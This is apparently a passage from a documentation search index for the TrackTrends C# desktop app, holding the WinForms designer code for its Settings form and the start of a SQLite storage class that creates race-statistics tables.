Button btnCreateWindow ; private System . Windows . Forms . Button btnCreatZone ; private System . Windows . Forms . ListBox lsbPresets ; private System . Windows . Forms . TextBox tbxPresetName ; private System . Windows . Forms . Button btnSavePreset ; private System . Windows . Forms . Label lblWindowsRemaining ; private System . Windows . Forms . Label lblZonePointsRemaning ; private System . Windows . Forms . Label lblWindowPointsRemaining ; private System . Windows . Forms . Button btnRefresh ; private System . Windows . Forms . Button btnResetDriver ; private System . Windows . Forms . Button btnLoadPreset ; private System . Windows . Forms . GroupBox gpbxPresets ; private System . Windows . Forms . Button btnDeletePreset ; private System . Windows . Forms . ToolTip tip1 ; } }","title":"Settings.Designer.cs"},{"location":"Code/Settings.Designer.html#settingsdesignercs","text":"namespace TrackTrends { partial class Settings { /// /// Required designer variable. /// private System . ComponentModel . IContainer components = null ; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose ( bool disposing ) { if ( disposing && ( components != null )) { components . Dispose (); } base . Dispose ( disposing ); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent () { this . components = new System . ComponentModel . Container (); this . label1 = new System . Windows . Forms . Label (); this . label2 = new System . Windows . Forms . Label (); this . gpbxRaceSettings = new System . Windows . Forms . GroupBox (); this . tbxGpUrl = new System . Windows . Forms . TextBox (); this . gpbxDriverList = new System . Windows . Forms . GroupBox (); this . lsbDrivers = new System . Windows . Forms . ListBox (); this . btnRemoveDriver = new System . Windows . Forms . Button (); this . btnAddDriver = new System . Windows . Forms . Button (); this . tbxDriverName = new System . Windows . Forms . TextBox (); this . gpbxPreview = new System . Windows . Forms . GroupBox (); this . lblWindowsRemaining = new System . Windows . Forms . Label (); this . btnResetDriver = new System . Windows . Forms . Button (); this . btnRefresh = new System . Windows . Forms . Button (); this . lblWindowPointsRemaining = new System . Windows . Forms . Label (); this . lblZonePointsRemaning = new System . Windows . Forms . Label (); this . btnCreateWindow = new System . Windows . Forms . Button (); this . pbxPreview = new System . Windows . Forms . PictureBox (); this . btnCreatZone = new System . Windows . Forms . Button (); this . gpbxWindowPreview = new System . Windows . Forms . GroupBox (); this . pbxWindowPreview = new System . Windows . Forms . PictureBox (); this . btnLoadPreset = new System . Windows . Forms . Button (); this . lsbPresets = new System . Windows . Forms . ListBox (); this . tbxPresetName = new System . Windows . Forms . TextBox (); this . btnSavePreset = new System . Windows . Forms . Button (); this . gpbxPresets = new System . Windows . Forms . GroupBox (); this . btnDeletePreset = new System . Windows . Forms . Button (); this . tip1 = new System . Windows . Forms . ToolTip ( this . components ); this . gpbxRaceSettings . SuspendLayout (); this . gpbxDriverList . SuspendLayout (); this . gpbxPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). BeginInit (); this . gpbxWindowPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). BeginInit (); this . gpbxPresets . SuspendLayout (); this . SuspendLayout (); // // label1 // this . label1 . AutoSize = true ; this . label1 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 19.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label1 . ForeColor = System . Drawing . Color . White ; this . label1 . Location = new System . Drawing . Point ( 12 , 14 ); this . label1 . Name = \"label1\" ; this . label1 . Size = new System . Drawing . Size ( 309 , 43 ); this . label1 . TabIndex = 0 ; this . label1 . Text = \"Configuration tool\" ; // // label2 // this . label2 . AutoSize = true ; this . label2 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label2 . ForeColor = System . Drawing . Color . White ; this . label2 . Location = new System . Drawing . Point ( 3 , 25 ); this . label2 . Name = \"label2\" ; this . label2 . Size = new System . Drawing . Size ( 132 , 23 ); this . label2 . TabIndex = 1 ; this . label2 . Text = \"Grand Prix URL\" ; // // gpbxRaceSettings // this . gpbxRaceSettings . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxRaceSettings . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxRaceSettings . Controls . Add ( this . tbxGpUrl ); this . gpbxRaceSettings . Controls . Add ( this . label2 ); this . gpbxRaceSettings . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . gpbxRaceSettings . ForeColor = System . Drawing . Color . White ; this . gpbxRaceSettings . Location = new System . Drawing . Point ( 733 , 9 ); this . gpbxRaceSettings . Name = \"gpbxRaceSettings\" ; this . gpbxRaceSettings . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxRaceSettings . Size = new System . Drawing . Size ( 521 , 58 ); this . gpbxRaceSettings . TabIndex = 2 ; this . gpbxRaceSettings . TabStop = false ; this . gpbxRaceSettings . Text = \"RaceSettings\" ; this . gpbxRaceSettings . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // tbxGpUrl // this . tbxGpUrl . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxGpUrl . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxGpUrl . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . tbxGpUrl . ForeColor = System . Drawing . Color . White ; this . tbxGpUrl . Location = new System . Drawing . Point ( 141 , 25 ); this . tbxGpUrl . Name = \"tbxGpUrl\" ; this . tbxGpUrl . Size = new System . Drawing . Size ( 367 , 22 ); this . tbxGpUrl . TabIndex = 4 ; this . tbxGpUrl . TextChanged += new System . EventHandler ( this . tbxGpUrl_TextChanged ); // // gpbxDriverList // this . gpbxDriverList . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxDriverList . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxDriverList . Controls . Add ( this . lsbDrivers ); this . gpbxDriverList . Controls . Add ( this . btnRemoveDriver ); this . gpbxDriverList . Controls . Add ( this . btnAddDriver ); this . gpbxDriverList . Controls . Add ( this . tbxDriverName ); this . gpbxDriverList . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxDriverList . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxDriverList . ForeColor = System . Drawing . Color . White ; this . gpbxDriverList . Location = new System . Drawing . Point ( 995 , 73 ); this . gpbxDriverList . Name = \"gpbxDriverList\" ; this . gpbxDriverList . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxDriverList . Size = new System . Drawing . Size ( 259 , 269 ); this . gpbxDriverList . TabIndex = 3 ; this . gpbxDriverList . TabStop = false ; this . gpbxDriverList . Text = \"DriverList\" ; this . gpbxDriverList . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lsbDrivers // this . lsbDrivers . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbDrivers . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbDrivers . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbDrivers . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbDrivers . FormattingEnabled = true ; this . lsbDrivers . ItemHeight = 23 ; this . lsbDrivers . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbDrivers . Name = \"lsbDrivers\" ; this . lsbDrivers . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbDrivers . TabIndex = 10 ; // // btnRemoveDriver // this . btnRemoveDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRemoveDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRemoveDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnRemoveDriver . ForeColor = System . Drawing . Color . White ; this . btnRemoveDriver . Location = new System . Drawing . Point ( 132 , 167 ); this . btnRemoveDriver . Name = \"btnRemoveDriver\" ; this . btnRemoveDriver . Size = new System . Drawing . Size ( 121 , 62 ); this . btnRemoveDriver . TabIndex = 9 ; this . btnRemoveDriver . Text = \"Remove\" ; this . btnRemoveDriver . UseVisualStyleBackColor = false ; this . btnRemoveDriver . Click += new System . EventHandler ( this . btnRemoveDriver_Click ); // // btnAddDriver // this . btnAddDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnAddDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnAddDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnAddDriver . ForeColor = System . Drawing . Color . White ; this . btnAddDriver . Location = new System . Drawing . Point ( 10 , 167 ); this . btnAddDriver . Name = \"btnAddDriver\" ; this . btnAddDriver . Size = new System . Drawing . Size ( 116 , 62 ); this . btnAddDriver . TabIndex = 8 ; this . btnAddDriver . Text = \"Add\" ; this . btnAddDriver . UseVisualStyleBackColor = false ; this . btnAddDriver . Click += new System . EventHandler ( this . btnAddDriver_Click ); // // tbxDriverName // this . tbxDriverName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxDriverName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxDriverName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxDriverName . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . tbxDriverName . Location = new System . Drawing . Point ( 10 , 235 ); this . tbxDriverName . Name = \"tbxDriverName\" ; this . tbxDriverName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxDriverName . TabIndex = 7 ; // // gpbxPreview // this . gpbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPreview . Controls . Add ( this . lblWindowsRemaining ); this . gpbxPreview . Controls . Add ( this . btnResetDriver ); this . gpbxPreview . Controls . Add ( this . btnRefresh ); this . gpbxPreview . Controls . Add ( this . lblWindowPointsRemaining ); this . gpbxPreview . Controls . Add ( this . lblZonePointsRemaning ); this . gpbxPreview . Controls . Add ( this . btnCreateWindow ); this . gpbxPreview . Controls . Add ( this . pbxPreview ); this . gpbxPreview . Controls . Add ( this . btnCreatZone ); this . gpbxPreview . FlatStyle = System . Windows . Forms . FlatStyle . Flat ; this . gpbxPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPreview . ForeColor = System . Drawing . Color . White ; this . gpbxPreview . Location = new System . Drawing . Point ( 18 , 73 ); this . gpbxPreview . Name = \"gpbxPreview\" ; this . gpbxPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPreview . Size = new System . Drawing . Size ( 968 , 608 ); this . gpbxPreview . TabIndex = 4 ; this . gpbxPreview . TabStop = false ; this . gpbxPreview . Text = \"Preview\" ; this . gpbxPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lblWindowsRemaining // this . lblWindowsRemaining . AutoSize = true ; this . lblWindowsRemaining . BackColor = System . Drawing . Color . Transparent ; this . lblWindowsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowsRemaining . Location = new System . Drawing . Point ( 215 , 82 ); this . lblWindowsRemaining . Name = \"lblWindowsRemaining\" ; this . lblWindowsRemaining . Size = new System . Drawing . Size ( 183 , 23 ); this . lblWindowsRemaining . TabIndex = 6 ; this . lblWindowsRemaining . Text = \"7 windows remaining\" ; // // btnResetDriver // this . btnResetDriver . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnResetDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnResetDriver . Enabled = false ; this . btnResetDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnResetDriver . ForeColor = System . Drawing . Color . White ; this . btnResetDriver . Location = new System . Drawing . Point ( 748 , 20 ); this . btnResetDriver . Name = \"btnResetDriver\" ; this . btnResetDriver . Size = new System . Drawing . Size ( 211 , 33 ); this . btnResetDriver . TabIndex = 2 ; this . btnResetDriver . Text = \"Reset the emulator\" ; this . btnResetDriver . UseVisualStyleBackColor = false ; this . btnResetDriver . Click += new System . EventHandler ( this . btnResetDriver_Click ); // // btnRefresh // this . btnRefresh . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnRefresh . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRefresh . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRefresh . ForeColor = System . Drawing . Color . White ; this . btnRefresh . Location = new System . Drawing . Point ( 549 , 20 ); this . btnRefresh . Name = \"btnRefresh\" ; this . btnRefresh . Size = new System . Drawing . Size ( 193 , 33 ); this . btnRefresh . TabIndex = 1 ; this . btnRefresh . Text = \"Start the browser\" ; this . btnRefresh . UseVisualStyleBackColor = false ; this . btnRefresh . Click += new System . EventHandler ( this . btnRefresh_Click ); // // lblWindowPointsRemaining // this . lblWindowPointsRemaining . AutoSize = true ; this . lblWindowPointsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowPointsRemaining . Location = new System . Drawing . Point ( 215 , 59 ); this . lblWindowPointsRemaining . Name = \"lblWindowPointsRemaining\" ; this . lblWindowPointsRemaining . Size = new System . Drawing . Size ( 163 , 23 ); this . lblWindowPointsRemaining . TabIndex = 4 ; this . lblWindowPointsRemaining . Text = \"0 points remaining\" ; // // lblZonePointsRemaning // this . lblZonePointsRemaning . AutoSize = true ; this . lblZonePointsRemaning . ForeColor = System . Drawing . Color . White ; this . lblZonePointsRemaning . Location = new System . Drawing . Point ( 19 , 59 ); this . lblZonePointsRemaning . Name = \"lblZonePointsRemaning\" ; this . lblZonePointsRemaning . Size = new System . Drawing . Size ( 163 , 23 ); this . lblZonePointsRemaning . TabIndex = 5 ; this . lblZonePointsRemaning . Text = \"0 points remaining\" ; // // btnCreateWindow // this . btnCreateWindow . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreateWindow . Enabled = false ; this . btnCreateWindow . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreateWindow . ForeColor = System . Drawing . Color . White ; this . btnCreateWindow . Location = new System . Drawing . Point ( 213 , 23 ); this . btnCreateWindow . Name = \"btnCreateWindow\" ; this . btnCreateWindow . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreateWindow . TabIndex = 2 ; this . btnCreateWindow . Text = \"Create the windows\" ; this . btnCreateWindow . UseVisualStyleBackColor = false ; this . btnCreateWindow . Click += new System . EventHandler ( this . btnCreateWindow_Click ); // // pbxPreview // this . pbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxPreview . Location = new System . Drawing . Point ( 10 , 62 ); this . pbxPreview . Name = \"pbxPreview\" ; this . pbxPreview . Size = new System . Drawing . Size ( 950 , 540 ); this . pbxPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxPreview . TabIndex = 0 ; this . pbxPreview . TabStop = false ; this . pbxPreview . Click += new System . EventHandler ( this . pbxMain_Click ); this . pbxPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxMain_MouseClick ); // // btnCreatZone // this . btnCreatZone . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreatZone . Enabled = false ; this . btnCreatZone . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreatZone . ForeColor = System . Drawing . Color . White ; this . btnCreatZone . Location = new System . Drawing . Point ( 6 , 23 ); this . btnCreatZone . Name = \"btnCreatZone\" ; this . btnCreatZone . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreatZone . TabIndex = 1 ; this . btnCreatZone . Text = \"Create the main zone\" ; this . btnCreatZone . UseVisualStyleBackColor = false ; this . btnCreatZone . Click += new System . EventHandler ( this . btnCreatZone_Click ); // // gpbxWindowPreview // this . gpbxWindowPreview . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Bottom | System . Windows . Forms . AnchorStyles . Left ))); this . gpbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxWindowPreview . Controls . Add ( this . pbxWindowPreview ); this . gpbxWindowPreview . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxWindowPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxWindowPreview . ForeColor = System . Drawing . Color . White ; this . gpbxWindowPreview . Location = new System . Drawing . Point ( 18 , 688 ); this . gpbxWindowPreview . Name = \"gpbxWindowPreview\" ; this . gpbxWindowPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxWindowPreview . Size = new System . Drawing . Size ( 1237 , 88 ); this . gpbxWindowPreview . TabIndex = 5 ; this . gpbxWindowPreview . TabStop = false ; this . gpbxWindowPreview . Text = \"DriverZonePreview\" ; this . gpbxWindowPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // pbxWindowPreview // this . pbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxWindowPreview . Location = new System . Drawing . Point ( 6 , 30 ); this . pbxWindowPreview . Name = \"pbxWindowPreview\" ; this . pbxWindowPreview . Size = new System . Drawing . Size ( 1225 , 50 ); this . pbxWindowPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxWindowPreview . TabIndex = 0 ; this . pbxWindowPreview . TabStop = false ; this . pbxWindowPreview . Click += new System . EventHandler ( this . pbxDriverZone_Click ); this . pbxWindowPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxDriverZone_MouseClick ); // // btnLoadPreset // this . btnLoadPreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnLoadPreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnLoadPreset . ForeColor = System . Drawing . Color . White ; this . btnLoadPreset . Location = new System . Drawing . Point ( 10 , 213 ); this . btnLoadPreset . Name = \"btnLoadPreset\" ; this . btnLoadPreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnLoadPreset . TabIndex = 10 ; this . btnLoadPreset . Text = \"Load the preset\" ; this . btnLoadPreset . UseVisualStyleBackColor = false ; this . btnLoadPreset . Click += new System . EventHandler ( this . btnLoadPreset_Click ); // // lsbPresets // this . lsbPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbPresets . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbPresets . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbPresets . FormattingEnabled = true ; this . lsbPresets . ItemHeight = 23 ; this . lsbPresets . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbPresets . Name = \"lsbPresets\" ; this . lsbPresets . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbPresets . TabIndex = 8 ; this . lsbPresets . SelectedIndexChanged += new System . EventHandler ( this . lsbPresets_SelectedIndexChanged ); // // tbxPresetName // this . tbxPresetName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxPresetName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxPresetName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxPresetName . ForeColor = System . Drawing . Color . White ; this . tbxPresetName . Location = new System . Drawing . Point ( 10 , 303 ); this . tbxPresetName . Name = \"tbxPresetName\" ; this . tbxPresetName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxPresetName . TabIndex = 7 ; // // btnSavePreset // this . btnSavePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnSavePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnSavePreset . ForeColor = System . Drawing . Color . White ; this . btnSavePreset . Location = new System . Drawing . Point ( 10 , 259 ); this . btnSavePreset . Name = \"btnSavePreset\" ; this . btnSavePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnSavePreset . TabIndex = 7 ; this . btnSavePreset . Text = \"Save current preset\" ; this . btnSavePreset . UseVisualStyleBackColor = false ; this . btnSavePreset . Click += new System . EventHandler ( this . btnSavePreset_Click ); // // gpbxPresets // this . gpbxPresets . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPresets . Controls . Add ( this . btnSavePreset ); this . gpbxPresets . Controls . Add ( this . btnDeletePreset ); this . gpbxPresets . Controls . Add ( this . tbxPresetName ); this . gpbxPresets . Controls . Add ( this . btnLoadPreset ); this . gpbxPresets . Controls . Add ( this . lsbPresets ); this . gpbxPresets . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPresets . ForeColor = System . Drawing . Color . White ; this . gpbxPresets . Location = new System . Drawing . Point ( 995 , 348 ); this . gpbxPresets . Name = \"gpbxPresets\" ; this . gpbxPresets . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPresets . Size = new System . Drawing . Size ( 259 , 333 ); this . gpbxPresets . TabIndex = 6 ; this . gpbxPresets . TabStop = false ; this . gpbxPresets . Text = \"Presets\" ; this . gpbxPresets . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // btnDeletePreset // this . btnDeletePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnDeletePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnDeletePreset . ForeColor = System . Drawing . Color . White ; this . btnDeletePreset . Location = new System . Drawing . Point ( 10 , 167 ); this . btnDeletePreset . Name = \"btnDeletePreset\" ; this . btnDeletePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnDeletePreset . TabIndex = 11 ; this . btnDeletePreset . Text = \"Delete the preset\" ; this . btnDeletePreset . UseVisualStyleBackColor = false ; this . btnDeletePreset . Click += new System . EventHandler ( this . btnDeletePreset_Click ); // // Settings // this . AutoScaleDimensions = new System . Drawing . SizeF ( 8F , 19F ); this . AutoScaleMode = System . Windows . Forms . AutoScaleMode . Font ; this . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . ClientSize = new System . Drawing . Size ( 1266 , 788 ); this . Controls . Add ( this . gpbxPresets ); this . Controls . Add ( this . gpbxWindowPreview ); this . Controls . Add ( this . gpbxPreview ); this . Controls . Add ( this . gpbxDriverList ); this . Controls . Add ( this . label1 ); this . Controls . Add ( this . gpbxRaceSettings ); this . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 7.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . Margin = new System . Windows . Forms . Padding ( 3 , 4 , 3 , 4 ); this . MinimumSize = new System . Drawing . Size ( 1284 , 835 ); this . Name = \"Settings\" ; this . StartPosition = System . Windows . Forms . FormStartPosition . CenterScreen ; this . Text = \"Settings\" ; this . FormClosing += new System . Windows . Forms . FormClosingEventHandler ( this . Settings_FormClosing ); this . Resize += new System . EventHandler ( this . Settings_Resize ); this . gpbxRaceSettings . ResumeLayout ( false ); this . gpbxRaceSettings . PerformLayout (); this . gpbxDriverList . ResumeLayout ( false ); this . gpbxDriverList . PerformLayout (); this . gpbxPreview . ResumeLayout ( false ); this . gpbxPreview . PerformLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). EndInit (); this . gpbxWindowPreview . ResumeLayout ( false ); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). EndInit (); this . gpbxPresets . ResumeLayout ( false ); this . gpbxPresets . PerformLayout (); this . ResumeLayout ( false ); this . PerformLayout (); } #endregion private System . Windows . Forms . Label label1 ; private System . Windows . Forms . Label label2 ; private System . Windows . Forms . GroupBox gpbxRaceSettings ; private System . Windows . Forms . TextBox tbxGpUrl ; private System . Windows . Forms . GroupBox gpbxDriverList ; private System . Windows . Forms . ListBox lsbDrivers ; private System . Windows . Forms . Button btnRemoveDriver ; private System . Windows . Forms . Button btnAddDriver ; private System . Windows . Forms . TextBox tbxDriverName ; private System . Windows . Forms . GroupBox gpbxPreview ; private System . Windows . Forms . PictureBox pbxPreview ; private System . Windows . Forms . GroupBox gpbxWindowPreview ; private System . Windows . Forms . PictureBox pbxWindowPreview ; private System . Windows . Forms . Button btnCreateWindow ; private System . Windows . Forms . Button btnCreatZone ; private System . Windows . Forms . ListBox lsbPresets ; private System . Windows . Forms . TextBox tbxPresetName ; private System . Windows . Forms . Button btnSavePreset ; private System . Windows . Forms . Label lblWindowsRemaining ; private System . Windows . Forms . Label lblZonePointsRemaning ; private System . Windows . Forms . Label lblWindowPointsRemaining ; private System . Windows . Forms . Button btnRefresh ; private System . Windows . Forms . Button btnResetDriver ; private System . Windows . Forms . Button btnLoadPreset ; private System . Windows . Forms . GroupBox gpbxPresets ; private System . Windows . Forms . Button btnDeletePreset ; private System . Windows . Forms . ToolTip tip1 ; } }","title":"Settings.Designer.cs"},{"location":"Code/SqliteStorage.html","text":"SqliteStorage.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : SqliteStorage.cs /// Brief : Class that controls the sqlite database /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Data.SQLite ; using System.IO ; using System.Windows.Forms ; namespace TrackTrends { public class SqliteStorage { private const string DATABASE_FOLDER = \"./Data\" ; private const string DATABASE_FILE = \"/database.sqlite\" ; private const string CONNECTION_STRING = \"Data Source=\" + DATABASE_FOLDER + DATABASE_FILE + \";Version=3;\" ; private SQLiteConnection Connection ; /// /// Creates a new Sqlite Storage and initialize the database /// public SqliteStorage () { Load (); } /// /// Loads a fresh new Database or create a new one if it does not exist. /// private void Load () { if (! Directory . Exists ( DATABASE_FOLDER )) Directory . CreateDirectory ( DATABASE_FOLDER ); if (! File . Exists ( DATABASE_FOLDER + DATABASE_FILE )) { SQLiteConnection . CreateFile ( DATABASE_FOLDER + DATABASE_FILE ); } else { //We are not using the existing DataBase File . Delete ( DATABASE_FOLDER + DATABASE_FILE ); } Connection = new SQLiteConnection ( CONNECTION_STRING ); Connection . Open (); //Create the drivers table string createDriversTableQuery = @\"CREATE TABLE IF NOT EXISTS Drivers (ID INTEGER PRIMARY KEY AUTOINCREMENT, Name VARCHAR NOT NULL);\" ; using ( var command = new SQLiteCommand ( createDriversTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the drivers table string createPitstopTableQuery = @\"CREATE TABLE Pitstops (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR, PRIMARY KEY (Lap,DriverID));\" ; using ( var command = new SQLiteCommand ( createPitstopTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the stats string createStatsTableQuery = @\"CREATE TABLE IF NOT EXISTS Stats (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR NOT NULL, LapTime INTEGER NOT NULL, Sector1 INTEGER NOT NULL, Sector2 INTEGER NOT NULL, Sector3 INTEGER NOT NULL, GapToLeader INTEGER 